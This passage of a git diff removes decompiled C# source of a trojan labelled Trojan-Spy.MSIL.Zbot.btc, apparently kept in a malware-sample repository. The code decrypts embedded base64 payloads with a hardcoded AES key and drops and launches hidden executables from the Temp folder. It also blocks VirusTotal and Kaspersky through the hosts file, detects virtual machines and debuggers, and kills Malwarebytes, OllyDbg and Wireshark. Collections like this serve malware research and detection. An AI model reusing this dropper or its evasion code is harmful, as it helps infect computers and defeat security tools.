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"; -label_22: - num3 = 26; - byte[] DAS4DA3 = pizde.okitokjwe33(Convert.FromBase64String(s1)); -label_23: - num3 = 27; - string str1; - string s2 = str1; -label_24: - num3 = 28; - byte[] data1 = pizde.okitokjwe33(Convert.FromBase64String(s2)); -label_25: - num3 = 29; - string str2; - string s3 = str2; -label_26: - num3 = 30; - pizde.decrypt(Convert.FromBase64String(s3), "parola"); -label_27: - num3 = 31; - string str3; - string s4 = str3; -label_28: - num3 = 32; - byte[] data2 = pizde.okitokjwe33(Convert.FromBase64String(s4)); -label_29: - num3 = 33; - Encoding.GetEncoding(1252).GetBytes(s1); -label_30: - num3 = 34; - object tempPath2 = (object) Path.GetTempPath(); -label_31: - num3 = 35; - Directory.CreateDirectory(Conversions.ToString(Operators.ConcatenateObject(tempPath2, (object) "winamp"))); -label_32: - num3 = 36; - string VVVVVVCAE = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "win32.exe")); -label_33: - num3 = 37; - string sourceFileName = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"; -label_34: - num3 = 38; - string str4 = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "win32.exe")); -label_35: - num3 = 39; - if (File.Exists(str4)) - goto label_37; -label_36: - num3 = 40; - File.Copy(sourceFileName, str4); -label_37: - num3 = 42; - FileAttributes fileAttributes2 = FileAttributes.Hidden | FileAttributes.System; -label_38: - num3 = 43; - File.SetAttributes(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "win32.exe")), fileAttributes2); -label_39: - num3 = 44; - if (pizde.IsProcessRunning4("nothong.exe")) - goto label_41; -label_40: - num3 = 45; - buffy.mickey(DAS4DA3, VVVVVVCAE); -label_41: - num3 = 47; - if (pizde.IsProcessRunning2("%temp%.exe")) - goto label_46; -label_42: - num3 = 48; - if (pizde.IsProcessRunning5("something.exe")) - goto label_46; -label_43: - num3 = 49; - string temp1 = MyProject.Computer.FileSystem.SpecialDirectories.Temp; -label_44: - num3 = 50; - MyProject.Computer.FileSystem.WriteAllBytes(temp1 + "\\%temp%.exe", data2, false); -label_45: - num3 = 51; - Process.Start(temp1 + "\\%temp%.exe"); -label_46: - num3 = 54; - if (pizde.IsProcessRunning3("%tmp%.exe")) - goto label_50; -label_47: - num3 = 55; - string temp2 = MyProject.Computer.FileSystem.SpecialDirectories.Temp; -label_48: - num3 = 56; - MyProject.Computer.FileSystem.WriteAllBytes(temp2 + "\\%tmp%.exe", data1, false); -label_49: - num3 = 57; - Process.Start(temp2 + "\\%tmp%.exe"); -label_50: - ProjectData.EndApp(); - goto label_57; -label_52: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - case 13: - goto label_11; - case 14: - goto label_12; - case 15: - case 17: - case 18: - goto label_14; - case 16: - goto label_13; - case 19: - goto label_15; - case 20: - goto label_16; - case 21: - goto label_17; - case 22: - goto label_18; - case 23: - goto label_19; - case 24: - goto label_20; - case 25: - goto label_21; - case 26: - goto label_22; - case 27: - goto label_23; - case 28: - goto label_24; - case 29: - goto label_25; - case 30: - goto label_26; - case 31: - goto label_27; - case 32: - goto label_28; - case 33: - goto label_29; - case 34: - goto label_30; - case 35: - goto label_31; - case 36: - goto label_32; - case 37: - goto label_33; - case 38: - goto label_34; - case 39: - goto label_35; - case 40: - goto label_36; - case 41: - case 42: - goto label_37; - case 43: - goto label_38; - case 44: - goto label_39; - case 45: - goto label_40; - case 46: - case 47: - goto label_41; - case 48: - goto label_42; - case 49: - goto label_43; - case 50: - goto label_44; - case 51: - goto label_45; - case 52: - case 53: - case 54: - goto label_46; - case 55: - goto label_47; - case 56: - goto label_48; - case 57: - goto label_49; - case 58: - goto label_50; - case 59: - goto label_57; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_52; - } - throw ProjectData.CreateProjectError(-2146828237); -label_57: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int IsDebuggerPresent(); - - public static void Main2() - { - if (pizde.IsDebuggerPresent() == 1) - Console.WriteLine("Debugger Is Present"); - else - Console.WriteLine("Debugger Not Present"); - } - - private static void HostEdit() - { - StreamWriter streamWriter = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\\\hosts"); - streamWriter.Write("127.0.0.1 www.virustotal.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virustotal.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 novirusthanks.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 vscan.novirusthanks.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virusscan.jotti.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.virusscan.jotti.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virscan.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.virscan.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virus-trap.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.virus-trap.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 filterbit.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.filterbit.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 viruschief.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.viruschief.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 kaspersky.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.kaspersky.com"); - streamWriter.Dispose(); - } - - public static bool AntiVirtualBox() - { - int num1; - bool flag; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - pizde.getDevices(); - flag = Operators.CompareString(pizde.Grafikadapter, "VirtualBox Graphics Adapter", false) == 0; - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - ProjectData.EndApp(); - goto label_7; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int num3 = flag ? 1 : 0; - if (num2 == 0) - return num3 != 0; - ProjectData.ClearProjectError(); - return num3 != 0; - } - - public static bool AntiVmWare() - { - int num1; - bool flag; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - pizde.getDevices(); - flag = Operators.CompareString(pizde.Grafikadapter, "VMware SVGA II", false) == 0; - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - ProjectData.EndApp(); - goto label_7; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int num3 = flag ? 1 : 0; - if (num2 == 0) - return num3 != 0; - ProjectData.ClearProjectError(); - return num3 != 0; - } - - public static bool AntiVirtualPC() - { - int num1; - bool flag; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - pizde.getDevices(); - flag = Operators.CompareString(pizde.Grafikadapter, "VM Additions S3 Trio32/64", false) == 0; - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - ProjectData.EndApp(); - goto label_7; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int num3 = flag ? 1 : 0; - if (num2 == 0) - return num3 != 0; - ProjectData.ClearProjectError(); - return num3 != 0; - } - - private static void getDevices() - { - // ISSUE: unable to decompile the method. - } - - public static void AntiMalwarebytes() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mbam", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void AntiOllydbg() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ollydbg", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void AntiWireshark() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "wireshark", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - private static bool IsProcessRunning2(string name) - { - Process[] processesByName = Process.GetProcessesByName("%temp%"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - private static bool IsProcessRunning3(string name) - { - Process[] processesByName = Process.GetProcessesByName("%tmp%"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - private static bool IsProcessRunning4(string name) - { - Process[] processesByName = Process.GetProcessesByName("nothong"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - private static bool IsProcessRunning5(string name) - { - Process[] processesByName = Process.GetProcessesByName("something"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - public static byte[] okitokjwe33(byte[] data) - { - using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) - { - rijndaelManaged.IV = new byte[16] - { - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 5, - (byte) 6, - (byte) 7, - (byte) 8, - (byte) 9, - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 5, - (byte) 6, - (byte) 7 - }; - rijndaelManaged.Key = new byte[16] - { - (byte) 7, - (byte) 6, - (byte) 5, - (byte) 4, - (byte) 3, - (byte) 2, - (byte) 1, - (byte) 9, - (byte) 8, - (byte) 7, - (byte) 6, - (byte) 5, - (byte) 4, - (byte) 3, - (byte) 2, - (byte) 1 - }; - return rijndaelManaged.CreateDecryptor().TransformFinalBlock(data, 0, data.Length); - } - } - - public static byte[] decrypt(byte[] message, string password) - { - byte[] bytes = Encoding.Default.GetBytes(password); - int num1 = (int) message[checked (message.Length - 1)] ^ 112; - byte[] arySrc = new byte[checked (message.Length + 1)]; - int num2 = checked (message.Length - 1); - int index1 = 0; - while (index1 <= num2) - { - int index2; - arySrc[index1] = checked ((byte) ((int) message[index1] ^ num1 ^ (int) bytes[index2])); - if (index2 == checked (password.Length - 1)) - index2 = 0; - else - checked { ++index2; } - checked { ++index1; } - } - return (byte[]) Microsoft.VisualBasic.CompilerServices.Utils.CopyArray((Array) arySrc, (Array) new byte[checked (message.Length - 2 + 1)]); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/MyApplication.cs deleted file mode 100644 index 4aab4094..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: a-testtt, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB69C33D-0146-479F-A219-6519E3630D8F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/MyComputer.cs deleted file mode 100644 index 479a2ae8..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: a-testtt, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB69C33D-0146-479F-A219-6519E3630D8F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/MyProject.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/MyProject.cs deleted file mode 100644 index 96fe63e9..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: a-testtt, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB69C33D-0146-479F-A219-6519E3630D8F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-de64fded51f4c3d9858084d1b0981fb4326f621b99d2f48fc0aa7716f858221c/Trojan-Spy.MSIL.Zbot.btc.csproj 